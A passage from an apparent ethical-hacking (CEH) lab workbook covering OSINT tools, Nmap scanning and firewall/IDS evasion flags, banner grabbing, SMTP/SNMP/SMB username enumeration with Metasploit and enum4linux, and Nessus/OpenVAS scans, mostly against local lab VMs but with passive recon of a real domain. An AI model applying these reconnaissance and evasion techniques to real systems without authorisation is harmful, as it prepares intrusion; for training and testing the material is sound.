We’re going to click on the arrow next to the

word Transforms in order to run all of them
against our intended target. This will take a
while, so wait patiently until it completes. As
a result, you can see something like this:
The results are so numerous they cannot
easily fit the screen, so I had to zoom out.
Each of the new pins (or nodes) can be used
as a “source/base” to gain even more
information on the target. For convenience’s
sake, we’re going to generate a report using
Maltego, then go over the results. To do this,
click on the Maltego icon in the top-left
corner of the Maltego window, then go to
Export → Generate Report. We’re going to
select PDF file format and export the entire
graph.
We see that Maltego conveniently groups up
results according to things like incoming and
outgoing links, type, and more. It truly is a
treasure trove of information and analyzing it
in depth is beyond the scope of this lab.
When we get to exploitation labs, you will
see how some of this information leads to
vulnerability identification and then
successful foothold on a target.
Tips and notes:

Go ahead and analyze other pins/nodes from
our results and see what additional
information you can get. Besides that, you
can get some API keys and extend the
functionality of Maltego to better suit your
needs.
Lab 14. Recon-ng
Lab Objective:
Learn how to use Recon-ng for OSINT
gathering.
Lab Purpose:
Recon-ng is another tool in our toolbelt that
can help us gather information on our targets.
OSINT is good because it gathers publicly
available data, meaning we do not interact
with our target directly.
Lab Tool:
Recon-ng.
Lab Topology:
Lab Walk-Through:
In order to use Recon-ng to its full potential,
you must have access to API keys. Before
anything, some preparatory steps:
apt update
apt install recon-ng
recon-ng
workspaces create ceh
marketplace refresh
marketplace install all
keys list
Now, you can see the list of API keys that

Recon-ng needs in order to work. I’ve
obscured mine because API keys are usually
tied to an account you have with a particular
service, such as Shodan (see how we’re
coming back to that Shodan lab where I said
you ought to get its API key), which means a
person with the same API key as my own
will, for all intents and purposes (legal
included), be treated as me. To add keys,
type:
keys add builtwith_api KEY_VALUE
where KEY_VALUE is substituted with the

actual value of the key you’ve obtained after
registering with BuiltWith via its website.
I’ve opted for BuiltWith because it
consistently gave better results than Shodan
when used through Recon-ng. Unfortunately,
BuiltWith does not fall under CEH’s scope,
so we will not be having a lesson regarding
its use outside of Recon-ng.
Now that that’s done, we need to invoke
some modules. Let’s look them up with the
command:
modules search builtwith
This will show all modules that have

something to do with “builtwith” as their
value or “interface” of choice. Let’s select
recon/domains-hosts/builtwith like this:
modules load recon/domains-

hosts/builtwith
Now, to see what options we need to set,

type:
info
We see that the only option needed is
SOURCE, so we set that with:
options set SOURCE eccouncil.org
run
This gives us a whole slew of results that can

easily be summarized by typing:
dashboard
Then we can further inspect the results with
the command:
show contacts
for example.
These can, as before, when we get access to
information such as emails, be used for social
engineering, brute force attacks, etc.
Tips and notes:

Check out other results from BuiltWith API,
then add more keys to Recon-ng and see how
much information you get then.
Lab 15. Recon-dog
Lab Objective:
Learn how to use Recon-dog for OSINT.
Lab Purpose:
Another tool in our OSINT gathering arsenal
is Recon-dog. Let’s look at how to use it in
this lab.
Lab Tool:
Recon-dog.
Lab Topology:
Lab Walk-Through:
In order to use Recon-dog, we first have to
download it from GitHub, so let’s do just
that:
git clone
https://github.com/s0md3v/ReconDog.git
cd ReconDog
chmod +x dog
./dog
This will download the tool and run it. We

are immediately presented with various
options, so let’s 0, meaning “All” and input
eccouncil.org as our target, then hit Enter.
The results are numerous and cannot fit a

single screen, so they have been snipped in
the following screenshot:
If we try to fine-tune our scans by selecting
options other than 0, for example, 3, which is
“Port scan,” on the same target as before, we
will notice that Recon-dog also requires some
keys and additional setup to work fully.
Tips and notes:

As practice to you, check out what additional
setup is required within Recon-dog in order
to make all of its scans work.
Lab 16.
OSRFramework
Lab Objective:
Learn how to perform OSINT lookups using
OSRFramework.
Lab Purpose:
OSRFramework (OSRF) is the last OSINT
tool we’ll be looking into in these labs. Most
other OSINT tools aren’t concerned with
things like usernames or phone numbers;
instead, they look only for domains and their
associated information. OSRF fills in those
gaps and does so rather well.
Lab Tool:
OSRFramework.
Lab Topology:
Lab Walk-Through:
As always, let’s make sure the tool is
installed on our Kali VM with the commands:
apt update
apt install osrframework
osrf --help
This gives us a brief help menu that actually

denotes OSRF is to be invoked using
different commands depending on the
functionality we desire. For example, let’s
invoke usufy against z3n, which is my
nickname, and see how that works. Needless
to say, we can and should invoke the help
menu for usufy as well like this:
usufy --help
Now, we get a bit more options to choose

from, but let’s keep it simple for now.
usufy -n z3n
We get a fair bit of results, but these are not

necessarily related to me; they could all be
false positives, things like that happen with
tech all the time, or the profiles/usernames
can belong to someone else entirely, if they
managed to claim the username before me (or
they used it for a service I do not concern
myself with).
Of course, we can fine-tune this, for example,

by saying we do not wish to download profile
data onto our machine, as well as determining
exactly the platforms we are interested in,
like Spotify, for example. So, let’s do just
that:
usufy -n z3n --avoid_download -p spotify
There is, apparently, a profile named z3n on

Spotify, so we’ll have to manually verify the
results in case it is a false positive.
Well, the profile exists, but it is not mine.
That means it’s time to stop any further
investigations into this particular one.
Tips and notes:

Use OSRF against yourself and see what kind
of information you can come up with. It
might be a good exercise in determining the
size of your digital footprint, not just using
the tool.
Lab 17. Passive
Reconnaissance
Wrap-Up
Lab Objective:
Consolidate knowledge on passive
reconnaissance and OSINT.
Lab Purpose:
In this lab, we’ll look at most, if not all,
passive recon and OSINT tools we’ve worked
with in the labs up to this one. We’ll try to
make things concise and meaningful.
Lab Tool:
Kali Linux.
Lab Topology:
Lab Walk-Through:
To start things off, let’s use Google to look
up some information on eccouncil.org with
the query:
site:eccouncil.org filetype:pdf
A quick analysis of the first few results gives

us various documentation from EC-Council.
Perhaps these contain subdomains, email
addresses, key personnel names and the like?
Let’s analyze our target using Netcraft. Based
on this, we see that they are utilizing
CloudFlare services, their IPv4 and IPv6 IP
addresses, SPF, DMARC settings, and
various site technologies, such as PHP,
jQuery and more. This is likely to prove
useful in the next phases of the “penetration
test” (do note that this is just for exercise
only, you are in no way allowed to attack EC-
Council or their infrastructure).
Now, let’s look at what Shodan has to offer to

us by inputting the eccouncil.org’s IPv4
address (use Netcraft’s results for that). We
get information about open ports and services
running on them, along with a new batch of
web technologies. This is definitely necessary
to facilitate the exploitation phase, but we
won’t be exploiting public targets; that’s what
we have our local lab for.
Next are Whois, DNS and Traceroute:

whois eccouncil.org
dnsenum eccouncil.org
traceroute -4 -m 255 eccouncil.org
Now, we’re going to simply refer to and
reuse information we’ve gained from the
OSINT tools Maltego, Recon-ng, Recon-dog
and point OSRF’s domainfy to eccouncil.org:
domainfy -n eccouncil.org
All in all, this already makes for a significant

amount of information, and we haven’t even
interacted with the target; it was all done
passively, using publicly available resources.
We now use this data in order to guide our
next steps in a penetration testing
engagement.
After this, we will start active recon and

interacting with our targets, which means
we’ll have to switch from public targets to the
ones found in our local lab. We couldn’t use
OSINT tools to get data on our local targets
because they do not belong to the public
domain; only we know about them, hence the
change in “direction.”
Tips and notes:

We’ve skipped over Osintgram, BurpSuite,
HTTrack, Wayback Machine and FOCA for
various reasons. More importantly, you now
need a way to store this data for your own
convenience and future reference. To do so,
you ought to use a note-keeping program. My
software of choice is called CherryTree, and
I’ve heard good things about Obsidian as
well. Of course, you are free to use whichever
one you like, and in a way that is most
practical to you.
Lab 18. Scanning
Tools
Lab Objective:
Learn how to perform basic scans using
Nmap.
Lab Purpose:
Nmap is, as its name implies, a network
mapper, an industry standard, and probably
one of the most used tools in all of
penetration testing. In this lab, we’ll look into
its most basic functionality.
Lab Tool:
Nmap.
Lab Topology:
Lab Walk-Through:
So, once you boot up Kali and
Metasploitable, log into both and then
proceed to identify the correct IP addresses. If
you set up your lab correctly, they should be
on the same network; in my case, that’s
192.168.77.0/24 (refer to the lab on
subnetting to understand what this means).
Specifically, my Kali is on the IP address of
192.168.77.128 and Metasploitable is
192.168.77.154. With that out of the way, we
can get down to using Nmap. Again, let’s
check out its help menu:
nmap --help
and we’re presented with a ton of options.

That’s why there will be 3 labs dedicated to
Nmap alone. Not only is it a staple in every
pentester’s toolkit, but it is also so versatile
that it warrants looking into it at such detail.
The most basic Nmap scan would look
something like this:
nmap 192.168.77.154
Remember to substitute the IP address there

with the one for your Metasploitable VM.
This gives us a very quick response of 23
open ports, and our target is designated as
“live.” Now, we need to talk a bit about the
TCP/IP protocol suite. TCP stands for
Transmission Control Protocol and is the
protocol responsible for traffic such as web
browsing, file transfer, email, and more. It’s
used for these services because it ensures that
all data packets are being transferred to and
from a device in an orderly fashion and
checks for any errors that may have happened
during packet transport. UDP stands for User
Datagram Protocol and is what is called a
stateless protocol in that it does not keep
track of pretty much anything. There is no
guarantee that packets will come and go in an
orderly fashion; it’s important that they just
“go.” You might be able to figure it out now,
but the primary benefit to UDP is speed;
hence it is being used for services where
accuracy is not as important as speed, such as
VoIP, streaming, and similar. Why did we
mention this? Because the Nmap scan we ran
above only scans TCP ports. There are a total
of 65535 TCP AND UDP ports that a server
can potentially have open, and as good
penetration testers, we must be thorough.
That is why we want to run a UDP port scan
as well with the command:
nmap -sU 192.168.77.154
Now, Nmap was, seemingly, able to give us

deterministic, accurate results even from a
UDP scan, but look at the time it took? This
is, again, due to the nature of UDP being
stateless and not concerned with packet
ordering and verification. In addition, Linux-
based systems have default UDP-flood
defense limits “destination unreachable”
messages to one per second.
Tips and notes:

Try scanning the OWASP and Windows 7
VMs and see what results you’re going to get.
Don’t forget to change the IP addresses in
your Nmap scans.
Lab 19. Advanced
Scanning Techniques
Lab Objective:
Learn how to perform advanced scans using
Nmap.
Lab Purpose:
In this lab, we’ll expand upon our usage of
Nmap to see more of its functionality.
Lab Tool:
Nmap.
Lab Topology:
Lab Walk-Through:
The more advanced the scans we intend to
run become, the more time-consuming and
stressful to the target they are going to be.
Not only that, but they are also likely to leave
a massive number of logs on the target, so
they are not exactly stealthy. That is why, as
we increase the “depth” of our scans, we
must reduce the width, and the simplest way
in which we can do so is by running these
advanced scans against only a select number
of ports. Now, in our previous lab, we ran
Nmap without any port specifications. That
means Nmap used its default approach of
scanning the 1000 most popular TCP and
UDP ports (remember that there are 65535
ports on both TCP and UDP). Now, this
leaves out 64535 ports untested, and they too
can potentially host various services. Because
we saw UDP took a significantly longer time
than TCP, scanning all 65535 UDP ports is
likely not going to be a good time investment,
but scanning 65535 TCP ports seems
feasible, especially in a local lab like ours, so
let’s do just that:
nmap -p- 192.168.77.154
We can see that we get 7 new open ports. But

open port numbers and service names aren’t
enough to base any exploitation attempts off
of. What we need are service versions and we
can scan for those with the -sV key. Of
course, we first have to select some ports and
not run the version scan against all. We do
that like this:
nmap -p
21,22,23,25,53,80,111,139,445,512,513,514,1099,1524,2049,2121,3306,36
-sV 192.168.77.154
Now, we get some actually useful

information, as service versions can be used
directly to identify exploits, but more on that
in one of the future labs, and we’re not done
with Nmap yet. It is time to run an even more
invasive scan with Nmap’s -A key. Again, we
will have to reduce the number of interesting
ports to reduce our footprint, save time and
even our target from potentially crashing
mid-work.
nmap -p
23,25,111,139,445,512,513,514,1099,1524,2049,5432,6000,6667,6697
-A 192.168.77.154
You might find my choice of ports odd or

interesting, but I selected ports for which I
was unable to get detailed version
information (namely the version number)
from the previous scan. I want to further
investigate those ports. Is that a sound logic?
Sometimes yes, sometimes no. You’ll have to
develop your own sense of what are good
tracks to follow and what is a potential rabbit
hole. In this particular case, I’d say it was a
good idea, seeing how we now know that port
445 hosts a Samba version 3.0.20-Debian; it’s
always interesting to look at things like that.
That brings us to the end of this lab, and in

the next, we’ll look at some even more
advanced Nmap features, ones that can be
used to facilitate firewall evasion.
Tips and notes:

As before, run these scans against the
OWASP and Windows 7 VM machines, then
cross-reference the results.
Lab 20. Scanning
beyond Firewall and
IDS
Lab Objective:
Learn how to perform firewall and IDS
evasion while scanning with Nmap.
Lab Purpose:
In this lab, we’ll introduce you to the basics
of firewall and IDS evasion using Nmap. We
won’t be going too deep when it comes to
this because the deterrent landscape changes
all the time, and it is up to the penetration
tester to determine the best approach
considering the defensive measures in place
for each particular engagement.
Lab Tool:
Nmap.
Lab Topology:
You can use Kali Linux and Windows 7 in a
VM for this lab.
Lab Walk-Through:
We’ll be using Windows 7 as our target of
choice because it has at least some, albeit
rudimentary, firewall built into itself, unlike
Metasploitable and OWASP VMs, which
have none whatsoever. So, we’ll have to
check the IP address, which in Windows is
done with the command:
ipconfig /all
In my case, the IP address is 192.168.77.156.

Now, it’s not really necessary for the firewall
to work as we would like it to for the purpose
of this lab;, it’s more about teaching you the
concepts and principles which you will then
build upon on your own over the course of
your career. Let’s run Nmap’s help menu
again to see the options of interest to us and
for the purpose of firewall and IDS evasion:
nmap --help
And here they are, very conveniently grouped

under the “Firewall/IDS Evasion and
Spoofing” label. Now, how are we to actually
go about using these? Well, most defensive
mechanisms respond to patterns, such as
signatures, speed, particular flags that a
packet may carry, and similar. Understanding
this requires knowledge of data packets, how
they are constructed, what they are made of,
etc., but that is beyond the scope of these
labs, which aim to prepare you for CEH
specifically. It is expected you are already
intimately familiar with the topic as cyber
security is an advanced field, not a beginner-
oriented one.
So, if we want to trick a firewall, we need to

“mangle” the packets Nmap sends to the
target so that they do not “check” any
patterns that the firewall may be set up to
recognize. And, as mentioned above, we do
that by changing the packets’ characteristics
like flags (SYN, ACK, RST, etc.), ttl, MTU,
source interface, port, and more.
The first and simplest switch we can use is -

Pn, which skips the ICMP host discovery and
assumes that the host we are targeting is live.
This is good practice because most firewalls
drop ICMP requests anyway, leading to false
negatives. Then we have the option of
changing the timing or speed of our scans
with the -T option that goes from 1 to 5 (from
“paranoid” to “insane”). Next, we can look at
scan techniques such as the Xmas scan (-sX)
and others. Nmap’s default, at least at the
time of this lab’s writing, is -sS or SYN scan.
Beyond that, we go into heavy tweaking
territory with the commands such as:
nmap -sW -T1 -p 22 -f -vvv --reason 192.168.77.156
With this, we’ve invoked a Window scan on
paranoid speed, and thus we’re only
interested in port 22, with packet
fragmentation, maximum verbosity, and we
want to know the reason why Nmap gave us
the results that it did.
nmap -sS -T4 -g 80 -Pn 192.168.77.156
Here we’ve opted to specify that we want a

SYN scan at aggressive speed with the source
port (the port number from which all of our
packets will appear to have originated from)
set to 80 and ICMP host discovery disabled.
nmap --data-length 4 192.168.77.156
This may seem a bit simple, but there are
quite a few data-oriented switches in Nmap,
namely --data to append binary data to
packets and --data-string to append custom
strings.
Tips and notes:

We’ve shown only a couple of commands
and what they do. Building upon that is, as
stated, up to you. You are free and expected
to mix and match these until you achieve
firewall evasion. This, like many other things
in cyber security, is both art and science.
Lab 21. Banner
Grabbing
Lab Objective:
Learn how to perform banner grabbing using
Ncat.
Lab Purpose:
Ncat is an upgraded version of Netcat, the so-
called TCP/IP Swiss Army knife. It comes
bundled with Nmap and is actively developed
alongside it. We’ll look at its most basic
functionality within this lab.
Lab Tool:
Ncat.
Lab Topology:
You can use Kali Linux, Metasploitable and
OWASP Broken Web Applications Project
(BWA) in a VM for this lab.
Lab Walk-Through:
Ncat is an incredibly versatile tool, hence its
above-mentioned nickname. While it might
not be pre-installed on most Linux
distributions, its syntax is the same as that of
Netcat, its older cousin. We’ll be working
with Ncat because it’s just better, but for all
intents and purposes, you can extrapolate
functionality and syntax into Netcat, should
you encounter it on your ethical hacking
adventures.
As always, let’s invoke the tool’s help with

the command:
ncat --help
and we see that it has quite a lot of options.

For this lab, however, we are only concerned
with -v for slightly added verbosity.
Banner grabbing, in essence, is nothing but
getting the banner of a particular service. In
this banner, the said service usually
“advertises” its version, which, as we’ve seen
in previous labs, is of great importance to us.
Depending on the service, this can be
facilitated rather easily, just by pointing a
Ncat connection towards the correct IP and
port like this:
ncat -v 192.168.77.154 21
We see that the “banner” appears

immediately, the FTP service found on port
21 of our Metasploitable VM shows its
version without us needing to do much else.
However, things will not always be so
simple, as we’ll see in the next example:
ncat -v 192.168.77.155 80
No matter how long we wait, nothing will
happen. That is because the target service
(HTTP on OWASP VM’s port 80 in this
case) expects some request from us. It wants
to know what it is that we need from it. In
cases like these, you are expected to know
how the protocols in question communicate.
In this particular example, we need to send
the following string to the target:
HEAD / HTTP/1.0
and voila, we get the HTTP server’s banner.
Ncat’s usefulness does not end here, it can be

used to transfer data to and from a target to
interact with virtually any service (such as
FTP, Telnet, SMTP and more), but we’ll
touch upon that later.
Tips and notes:

This same technique can also be facilitated
with some other tools which come pre-
installed with the majority of Linux
distributions, Kali included. The tools are curl
and wget, so see if you can figure out a way
to do this using them.
Lab 22. Network
Scanning Wrap-Up
Lab Objective:
Consolidate knowledge on the network
scanning portion of active reconnaissance.
Lab Purpose:
Here’s another lab where we’ll look back at
the tools we’ve examined in order to see how
they can give us information to direct the next
steps of our penetration testing engagement.
Lab Tool:
Kali Linux.
Lab Topology:
Lab Walk-Through:
Not a lot of tools here, but a lot of
functionality, so let’s get to it.
We start off by running a wide but not very

deep TCP and UDP port scans of
Metasploitable:
nmap -Pn -p- -sS -T4 -vvv --reason -oA nmap_base_TCP
192.168.77.154
nmap -Pn -sU -T4 -vvv --reason -oA nmap_base_UDP
192.168.77.154
Next, we want the service versions from both

TCP and UDP, but we’ll designate only the
ports that we now know are open:
nmap -Pn -p
21,22,23,25,53,80,111,139,445,512,513,514,1099,1524,2049,2121,3306,36
-sV -T4 -vvv --reason -oA nmap_sV_TCP
192.168.77.154
nmap -Pn -p 53,111,137,2049 -sUV -T4 -vvv --reason -
oA nmap_sV_UDP 192.168.77.154
After a bit more tuning we decide to run:

nmap -Pn -p
23,25,111,512,513,514,1099,1524,2049,6000,6667,6697,33345,47605,536
-A -T4 -vvv --reason -oA nmap_A_TCP 192.168.77.154
nmap -Pn -p 53,111,137,2049 -sU -A -T4 -vvv --reason -
oA nmap_A_UDP 192.168.77.154
Now, we have a lot of information to work

with. As stated in Nmap-related labs, we can
immediately look up exploits based on
service versions. However, we have one more
tool to utilize, and that’s Ncat. We’ve talked
about banner grabbing in the previous lab but
have also mentioned that Ncat can be used for
other things as well. Now we’re going to
demonstrate how extensive Nmap data can be
utilized with Ncat in order to further our
penetration testing goals.
Notice that from the last Nmap scan on TCP

ports, the service on port 25 (SMTP) allows
for various commands, VRFY, among others.
That means we can submit this command
using Ncat, to SMTP in order to well, verify
things, usernames in particular. Now, let’s do
just that!
ncat -v 192.168.77.154 25
VRFY root
VRFY admin
VRFY msfadmin
VRFY john
It’s easy to see from the replies the server

gives us those certain usernames that exist on
the SMTP service (and perhaps elsewhere).
Tips and notes:

See if you can enumerate usernames using
cURL and Wget the same way you can use
them for banner grabbing.
Lab 23. NetBIOS
Enumeration
Lab Objective:
Learn how to perform NetBIOS enumeration
on Windows 7.
Lab Purpose:
NetBIOS stands for Network Basic
Input/Output System. It allows applications
on separate computers within the same Local
Area Network (LAN) to communicate. It is
not a networking protocol but an API
(Application Programming Interface). In this
lab, we’ll look at local enumeration of
NetBIOS.
Lab Tool:
Nbtstat.
Lab Topology:
You can use Windows 7 in a VM for this lab.
Lab Walk-Through:
Local enumeration differs from remote
(which is what we’ve been doing thus far) in
that it requires access to the target. In other
words, we will do this lab with the
presupposition that we’ve already achieved
initial foothold onto our Windows 7 target
VM, and are looking for more information to
potentially escalate our privileges.
Before anything, a bit of setup is required on

our Windows 7 machine. Press the Start
button on the Windows 7 desktop then type
in:
ncpa.cpl
press Enter, then right-click on the network

interface in use and select Properties. In the
window that opens up, click Internet Protocol
Version 4 (TCP/IPv4), click Properties →
Advanced → WINS → Enable NetBIOS over
TCP/IP, like in the screenshot below:
Once that’s done, we can proceed with

enumeration. We’ll be using a Windows CLI
tool called Nbtstat, which comes pre-installed
on our Windows 7 VM. First, let’s check the
name of the domain (not to be confused with
internet domain names) our Win 7 VM
belongs to:
net view /domain
Now that we have that piece of information,
we can look at the current computer’s name
on the network with the command:
nbtstat -A 192.168.77.156
Of course, use the IP address of your Win 7

VM instance (remember the command to
identify an IP address in Windows from one
of our previous labs).
Finally, let’s look at other machines that are a

part of the same network with the command:
net view /DOMAIN:WORKGROUP
While this might not be useful on first sight,
remember that our supposed goal here is
privilege escalation. To that end,
understanding the topology of a network is
key as it will allow us to understand what
other devices are there that we can pivot to
from the one we are currently “on.”
Tips and notes:

There’s also a GUI tool called Hyena,
downloadable from
https://www.systemtools.com/hyena/download.htm
You must download it onto the Windows 7
VM, extract the archive and then install the
tool. Make sure you download the x64
version if you followed along with our Lab 1.
GUI tools are sometimes more convenient,
but CLI is almost always more powerful; it
just takes getting used to.
Lab 24. SNMP
Enumeration
Lab Objective:
Learn how to perform SNMP enumeration.
Lab Purpose:
SNMP (Simple Network Management
Protocol) is, if available, probably the best
source of information on a target that you can
wish for as an ethical hacker. It most
commonly runs on UDP port 161 and, as the
name (sort of) implies, its purpose is the
management of various systems on a
networked device.
Lab Tool:
SNMP-check.
Lab Topology:
VM for this lab.
Lab Walk-Through:
Before we proceed with running our
enumerating tool of choice, we have to enable
SNMP on our Windows VM. To do that, go
to Control Panel → Programs and Features
→ Turn Windows features on or off →
enable Simple Network Management
Protocol and its “child” WMI SNMP
Provider.
After that, go back to Control Panel and
select Administrative Tools → Services →
SNMP Service → Properties → Security →
Add an Accepted community name of
“public” and Accept SNMP packets from any
host. Click Apply → OK, then restart the
service from the same menu.
Now, we’re good to go and can check out this
amazing repository of information with the
command:
snmp-check 192.168.77.156
And voila, it’s as simple as that. Just look at
all the data we’ve been able to uncover; it
cannot even fit within a single screen!
Tips and notes:

Another tool that can be used for SNMP
enumeration is called SNMPenum. However,
it is not as straightforward as SNMP-check,
so we’ve left it as an exercise for you.
Additional resources needed to run the tool
can be found here:
https://gitlab.com/kalilinux/packages/snmpenum
Lab 25. SMTP
Enumeration
Lab Objective:
Learn how to perform SMTP enumeration.
Lab Purpose:
We’ve already looked at the primary purpose
behind SMTP enumeration, and that is the
discovery of usernames on a target. That is
why we’ll use this lab as an opportunity to
introduce an incredibly powerful tool.
Lab Tool:
Metasploit Framework.
Lab Topology:
Lab Walk-Through:
Metasploit Framework (MSF) is one of the
most versatile and ubiquitous tools in the
industry. It can integrate with Nmap, perform
information gathering, exploitation, privilege
escalation, and more. Of course, it can do
none of that without proper guidance by a
skilled, ethical hacker, so it’s important to
familiarize ourselves with the tool. In this lab,
we’ll use it to perform an automated
username enumeration via SMTP, so let’s
start the tool with the command:
msfdb run
workspace -a ceh
then look for SMTP modules by typing:

search smtp
Since there are quite a few results, we can

narrow it down like this:
search name:smtp type:auxiliary
And there we have it, SMTP User
Enumeration Utility. To use it, type:
use auxiliary/scanner/smtp/smtp_enum
then we have to check options:

options
and input the necessary ones:

set RHOSTS 192.168.77.154
We can change the USER_FILE but let’s

leave it as default this time and just run the
tool:
run
It’ll take some time, depending on the size of

the wordlist/dictionary given as the argument
to the USER_FILE option, so wait it out.
See how many new users MSF discovered

while we were only able to confidently
enumerate 2. There’s no way a human can
manually enumerate more than a dozen users
in a timely manner, which is why we use
tools to do this kind of work for us. Manual
enumeration has its place, but automated tool
scanning should not be dismissed.
Tips and notes:

Look for other auxiliary scanners in MSF that
have the potential to replace the ones we’ve
used so far and check whether there are any
differences in output.
Lab 26. SMB
Enumeration
Lab Objective:
Learn how to perform Server Message Block
(SMB) enumeration.
Lab Purpose:
SMB is a communication protocol that
Microsoft created for providing shared access
to files and printers across nodes on a
network. For an ethical hacker, it’s on par
with SNMP when it comes to the information
that can be accessed should this service be
available and insecurely implemented on a
target.
Lab Tool:
Enum4linux.
Lab Topology:
Lab Walk-Through:
SMB is already up and running on our
Metasploitable target, so all we have to do is
point Enum4linux towards it. Now, in order
to know how to do that, we, of course, have
to first access its help menu:
enum4linux --help
and this very clearly shows that we have to

supplement some options/switches with
arguments, whereas others do not have this
requirement. The tool also has a convenient
switch that includes multiple other switches,
none of which call for additional arguments.
Thus, all we have to do to enumerate our
target is to type:
enum4linux -a 192.168.77.154
As always, substitute the IP address of
192.168.77.154 with the one of your
Metasploitable VM. The screenshot above
does not capture all of the information gained
from such a simple command. Needless to
say, it is crucial in helping us paint the picture
of our target, how we can exploit it, all the
potential avenues of attack, etc.
It is true that an attacker only needs to find a
single way in, but an ethical (white-hat)
hacker is not just any common criminal
(black-hat) hacker. It is our duty (and job,
obviously) to identify as many entry points
into a target as possible so that our clients can
patch them up and continue to provide high-
quality service to their clients in return.
Tips and notes:

SMB was developed by Microsoft, so check
whether you can make it run on your
Windows 7 VM and then analyze it, and see
whether the results differ compared to
Metasploitable. The command would be the
same, with the only difference clearly being
the target IP address.
Lab 27. Enumeration
Wrap-Up
Lab Objective:
Wrap up all that we have learned about
services enumeration.
Lab Purpose:
In this lab, we’ll look back at all of the
enumeration we’ve done so far and see how
we can infer “low-hanging fruit” and
potential avenues of attack. To top it off,
we’ll perform simple exploitation of our
Metasploitable VM.
Lab Tool:
Kali Linux.
Lab Topology:
Lab Walk-Through:
Let’s start things off with SNMP enumeration
against our Metasploitable VM. To make
Metasploitable’s SNMP service accessible to
an external machine, we need to do the
following:
1. Login to the Metasploitable virtual

machine (msfadmin/masfadmin are the
credentials).
2. sudo nano /etc/default/snmpd
3. Find the line that starts with
SNMPDOPTS= and remove 127.0.0.1
from the end of the line.
4. sudo /etc/init.d/snmpd restart
After that, we’re able to verify that

Metasploitable’s SNMP is indeed accessible
from our Kali box with the command:
nmap -Pn -p 161 -sU 192.168.77.154
Then, let’s run snmp-check against it:

snmp-check 192.168.77.154
As with Windows, we get a ton of
information. Take note of it, and let’s proceed
to SMTP. To this end, we’ll rely on our trusty
MSF tool, so let’s start it up:
msfdb run
search name:smtp type:auxiliary
use auxiliary/scanner/smtp/smtp_enum
set RHOSTS 192.168.77.154
run
With this, we get a list of usernames that we

can use for brute forcing attempts. Finally,
we want to look at SMB with the command:
enum4linux -a 192.168.77.154
Now, we have to make sense of it all and
figure out ways to attack Metasploitable and
get shell (command) access.
So, we’ve enumerated SNMP, SMTP and

SMB. From SNMP, we’ve got system
information and running services, from
SMTP we’ve got usernames, from SMB
we’ve got usernames, shares . . . so what can
we do with all of this? Well, how about we
find a service that requires a username and
that we know is listening on an open port? An
ideal candidate seems to be the SSH service
running on port 22, seeing how it gives us
shell access onto a system if we successfully
compromise it. Now, these touch upon the
topic of password brute force attacks, and we
have a lab coming up that covers just that, so
bear with us while we get to it, so you can see
how this knowledge is put to use.
Tips and notes:

We’ve skipped NetBIOS enumeration seeing
how enum4linux already uses Nbtstat, but
you are free to brush up on it manually by
going to the Windows 7 VM.
Lab 28. Nessus
Lab Objective:
Learn how to perform vulnerability
assessments using Nessus.
Lab Purpose:
Nessus is one of the most well-known
vulnerability scanners in the industry. In this
lab, we’ll look into its features, pros and
cons.
Lab Tool:
Nessus.
Lab Topology:
Lab Walk-Through:
Due to the length of this lab, we’ll skip over
the installation of Nessus. As stated multiple
times already, this level of knowledge is
expected if you are looking at CEH.
Once installed to start Nessus, type:

systemctl start nessusd.service
Then, navigate to lolcahost:8834 using the

web browser of your choice. Input your
credentials, then head over to New Scan in
the upper right portion of the window. Once
there, we have a wide selection of scan
templates, but for the purpose of this lab,
we’ll only look into Basic Network Scan. So,
click on that, and let’s look at its setup
options.
If you get an API Disabled message at any

point while working with Nessus, simply
delete all browser cache and refresh the page.
Input anything you want as the scan’s name,
description can be skipped, and for the target,
input 192.168.77.154 or the IP address of
your Metasploitable VM.
In the Discovery category, select Port scan
(all ports), and in the Assessment category,
select Scan for known web vulnerabilities.
Leave everything else as default and then
click on the arrow button and select Launch.
Now, the scan will appear on the My Scans

page of Nessus’ web GUI, so click on it and
wait until it completes.
We can see that Nessus scores vulnerabilities

according to CVSS (Common Vulnerability
Scoring System), and it has identified a total
of 88 vulnerabilities rated from critical to
info. Needless to say, since the time allotted
for a penetration test is always limited, we go
from critical vulnerabilities all the way down
to low. Informational vulnerabilities are, as
the name implies, just information on things
like the versions of SSL/TLS that the target
supports.
Clicking on the vulnerabilities bar shows us

additional information and clicking on a
particular vulnerability gives us information
on how it was identified, which can help us
verify and exploit it.
Finally, Nessus has a convenient Report
button that allows us to export reports of
various layouts, so let’s click on that, then
select Detailed Vulnerabilities By Host and
then Generate Report. Save the file in your
working directory, then peruse it at your
convenience.
Tips and notes:

Export other report templates and see how
they differ compared to the detailed one
we’ve opted for in the lab.
Lab 29. OpenVAS
Lab Objective:
Learn how to perform vulnerability
assessments using OpenVAS.
Lab Purpose:
In this lab, we’ll look at Nessus’ open-source
counterpart OpenVAS, another vulnerability
assessment scanner that’s commonly used in
cyber security.
Lab Tool:
OpenVAS.
Lab Topology:
Lab Walk-Through:
Unlike Nessus, which has to be downloaded
from a third-party website and then manually
installed, OpenVAS can be installed directly
from within Kali with the commands:
apt update
apt install openvas* gvm*
gvm-setup
gvm-check-setup
gvm-start
This will then start and open the Greenbone

Security Assistant, which is the new name for
OpenVAS. Still, pretty much everyone
continues to call the tool OpenVAS, so we’ll
stick to that as well. Now, once the web
browser opens with OpenVAS’ GUI, input
your credentials, then click on Configuration
→ Targets → New Target. A window will
pop up, and in it, input the Name (it can be
anything you wish), Hosts (your
Metasploitable VM’s IP address) and leave
the rest as default, then click Save.
After that, head over to Scans → Tasks →
New Task, again name it any way you wish,
set the target we just created from the Scan
Targets drop-down list, leave everything as
is, then click Save.
The new scan will appear in the list, so just
click the play arrow to the right of the scan’s
name.
Once it completes, click on the Last Report
value for that scan, and you can browse the
results. We see that OpenVAS has identified
66 issues with our Metasploitable target, all
ranked according to criticality, similar to
Nessus. As before, we should make our way
down the list, from the most to the least
critical issues in our attempts to verify and
exploit them. Besides that, we get
information on open ports, OSs and more.
We can also see something called CVE
(Common Vulnerabilities and Exposures),
which is a way of identifying vulnerabilities
that is widely accepted in the cyber security
domain. Using CVE values, we can even look
up exploits in MSF.
Again, similar to Nessus, OpenVAS also has
the option to export its results in a report in
several file formats.
Tips and notes:

Go ahead and search for exploits in MSF
using CVE values from OpenVAS, and see if
you can find exploits for all of the high-rated
issues.
Lab 30. Password
Recovery Tools
Lab Objective:
Learn how to steal passwords from
vulnerable targets.
Lab Purpose:
We’ll look into another potential avenue of
attack, and that is harvesting passwords
and/or password hashes from targets that
have vulnerable or misconfigured services.
Lab Tool:
Metasploit Framework.
Lab Topology:
Lab Walk-Through:
